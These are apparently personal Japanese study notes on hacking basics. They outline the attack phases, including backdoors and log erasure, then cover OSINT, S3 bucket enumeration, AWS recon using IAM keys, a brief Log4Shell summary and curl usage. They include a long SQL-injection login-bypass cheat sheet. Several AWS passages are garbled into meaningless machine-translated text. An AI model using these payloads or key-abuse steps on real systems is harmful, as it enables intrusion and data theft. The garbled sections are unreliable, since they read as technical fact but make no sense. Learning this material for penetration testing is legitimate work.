ハッキングの基礎

◆ハッキングの基本的なフロー

 1.偵察(Reconnnaissance)

 2.スキャンニング(Scanning)

 3.列挙(Enumeration)

 4.アクセス権の取得(Gaining Access)

 5.権限昇格(Privilege Elevetion)

 6.アクセス権の維持(Maintaining Access)

 7.痕跡の消去(cleaning Tracks)

 

大まかに分けると

1~3:事前準備

4~6:攻撃

6~7:後処理

 

◆事前準備段階

 ・偵察

  1.公開情報の収集

  2.ネットワーク情報の収集

 ・スキャンニング

  1.サーバ情報の収集

 ・列挙

  ・集めた情報の整理と確認

  ・脆弱性情報の収集

 

◆攻撃段階

 ・アクセス権の取得

  1.脆弱性に対する攻撃

  2.パスワードクラッキング

 ・権限昇格

  1.対象内部での情報収集

  2.権限昇格

 

◆後処理段階

 ・アクセス権限の維持

  1.バックドアの作成

  2.マルウェアのインストール

 ・痕跡の消去

  1.バックドア等の隠蔽

  2.ログの消去や操作

 

◆公開情報の収集

 ・意図して公開している情報

 ・公開せずを得ない情報

 ・意図せずに第三者などが公開している情報

 

 ◆意図して公開している情報

  ・URL

  ・ドメイン名(サブドメインをお含む)

  ・会社の所在地

  ・電話番号

  ・役員や社員の名前

  ・取引先

  ・連絡用のメールアドレス 

  ・roboot.txt

  ・SNS(フォロワー、レビュー、地図)

 

 ◆公開せずを得ない情報

  ・ドメイン情報

  ・ネットワーク情報

  ・DNS

  ・売上や人事異動に関する情報

  ・取引情報

  ・求人情報

 

 ◆意図せずに第三者などが公開している情報

  ・ニュースサイト

  ・まとめサイト、口コミサイト

  ・ウィキペディアなどのナレッジデータベース

 

検索エンジンの活用

 ・AND検索

 ・OR検索

 ・フレーズ検索

 ・google検索オプション

  (https://www.google.com/advanced_search)

 

SNSやブログからの情報収集

 ・従業員の名簿から判明したものや名刺交換をしたりした人の名前で検索する。

 ・メールアドレスで検索をする

AWS【S3バケットを検出する方法、IAMのアクセスキーとシークレットをどのように活用するかについて】

AWS

 ・クラウドクラウドサービスをしします。

 ・浜(地域)は独立しでレビューをする宿

  取得得もます。

 

◆AmazonS3

 ・AmazonS3(Simple Storage Service)はあるの近型OSAP

  。

 ・POSはピグに固する。

 ・POSAの概念をするに推化すると、ピハ

  キーゲストであり、POSキーはファイルのフルポーズ名で、

  値はファイルのコンテンツ。

 ・S3はパブリックにホストされるサービスである。これは企業のFWの後ろに

  存在しないのでパブリックコンテンツをホストするために便利である。

 ・S3でパブリックウェブサイトをホストするための機能セットがある。

 ・パブリックホスティング以外にも使用される。

  例:

    ・データアーカイブ

    ・ビデオ処理

    ・規制記録

     など。。。

   

AWSバケット

 ・AWSバケットは、グローバルネームスペースを使用する。

 「bestfestivalcompany-images」という名前のバケットを使用できるのは、

 AWSの顧客1人だけ。

 

バケット名の発見方法

 ・最も簡単に発見できる方法は、企業がS3にホストされているコンテンツをウェブ

  サイトに埋め込む場合(画像、PDFなど)

http://BUCKETNAME.s3.amazonaws.com/FILENAME.ext

  or

http://s3.amazonaws.com/BUCKETNAME/FILENAME.ext

 

上記の情報を取得して何ができるか?

 ・バケットの中身の一覧を表示する。

  Amazon S3にはアクセス制御の方法が以下の2種類存在する

  1:バケットポリシー

  2:S3 ACL

 

 ・公開情報を含む多くのバケットでは以下のコマンドでバケットの中身を一覧を表示

  することができる。

 # curl http://irs-form-990.s3.amazonaws.com/

 

 ・この大量のXMLはIRSフォーム990の全提出書類リストである。

 ・改行されたXMLを表示させる別の方法は以下のコマンドを実行。

  # aws s3 ls s3://irs-form-990/ --no-sign-request

 ※no-sign-requestオプションを使用すると、AWSカスタマーでなくてもS3にデータ

  S3にデータを要求することができる。

◆オブジェクトのダウンロード

 ・S3からオブジェクトをダウンロードする方法。

    # curl http://irs-form-990.s3.amazonaws.com/201101319349101615_public.xml

   ・または、AWSCLIを使用する。

  # aws s3 cp s3://irs-form-990/201101319349101615_public.xml . --no-sign-request

 ・オブジェクトに対して2つの異なるURIがあることに注意。

 ・オブジェクトは、http:// または、s3://を返してアドレスを指定することができる。

 

Amazon S3認証のレベルの違いについて

 ・オブジェクトのパーミッションとパケットのパーミッションは異なる。

 ・バケットパーミッションでは、バケット内のオブジェクトを一覧することができる

 ・オブジェクトのパーミッションでは、オブジェクトをDLすることができる。

 ・一般的には閲覧可能だが、「バケットは読めないが、オブジェクトは読める」

  もしくは、「バケットは見れるが、オブジェクトは読めない」という場合は

  あり得る。

 

AWS IAM

 ・Amazon S3のようないくつかの古いサービスを除いて、AWSサービスへの

  リクエストはすべて署名する必要がある。

 ・署名プロセスは、IAM Access Keysを利用する。

  これらのアクセスキーは、AWSアカウントの侵害される主な方法の1つ。

 

◆IAMアクセスキー

 ・IAMアクセスキーは、アクセスキーIDとシークレットアクセスキーで

  構成されている。

 ・アクセスキーIDは、常にAKIAという文字で始まり、20文字で構成される。

  これらは、AWS APIのユーザとして機能する。

 ・AWSは両方の文字列を生成するが、最初の精製後、シークレットアクセスキーを

  ダウンロード¥席るようにすることはない。

 

◆IAMを使った偵察の実施

 ・AWSへのクレデンシャルをオークランド、AWSCLIでAWS

  てあり。コマンドは使用する。

 #aws configure --profile PROFILENAME

 ・このコマンドは、オフラインのホームディレクトリにある「.aws / config」と

  「.aws / credentials」

 ・上別の業者情報セット

  を使用して実行のコマンドを実行します。

  AWSパケット内のS3パケットを編集する

 #aws s3 ls --profile PROFILENAME

 

◆かかかかかかかかかかか。

 1.イキーバロニトIDをする。

  #aws sts get-access-key-info --access-key-id AKIAEXAMPLE 

 2.使用している著作があります。

  #aws sts get-caller-identity --profile PROFILENAME

 3.ある選択でし、EC2

  #aws ec2 describe-instances --output text --profile PROFILENAME

 4.別小のアカウントでしされたEC2

   リストアップ。

  #aws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME

Log4J(CVE-2021-44228)

◆CVE-2021-44228

 ・2021年12月9日に、Javaロギングパッケージ(log4j)に影響を与える

 ・log4jはリモートコードの実行を提供する。この攻撃は「log4jshell」と名付られた

 ・現在は、「log4jバージョン2.16.0」が公開されこの脆弱性にパッチが適用された

 

◆参照ソース

 

◆JNDI構文を提供する可能性のある場所

 ・入力ボックス、ユーザとパスワードのログインフォーム、アプリケーション内のデータ入力ポイント

 ・HTTPヘッダのような「User-Agent」、「X-Forwarded-For」または他のカスタマイズヘッダー

 ・ユーザが提供するデータの場所

 

 

SQLi - CheatSheet

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Curlコマンド

ペンテスターがカールを利用する理由
 curlはWebページとAPIを使用することで使用する使用するアプリケーションラインサービス。
げっぷなど)に送信できる。

 

◆一般的な使い方
  #カールはhttp://example.com
 

◆カールはデフォルトでは、GETを送信するため、POSTは、クエリを作成するには、「 - X POST」が必要となる
  # curl -X POST -d "test" https://exsample/posts.com

 

◆認証に関して何ができるか
  ほとんどの場合、これにはカスタムヘッダーをリクエストに追加する必要があります
  たとえば、APIを介してコメントを削除するには、DELETEメソッドを使用して認証を提供する必要があることがわかっています
  ヘッダーを「認証:ベアラ[トークン]」としてリストする必要があることがわかっている場合は
  ヘッダーの内容を一重引用符で囲んで-Hコマンドを追加できます

 # curl -X DELETE -H ‘Authentication: Bearer TG9va2luZ1RvSm9pblVzP0dvVG9odHRwczovL3d3dy53aGl0ZW9ha3NlY3VyaXR5LmNvbS9jYXJlZXJz’ https://jsonplaceholder.typicode.com/posts/103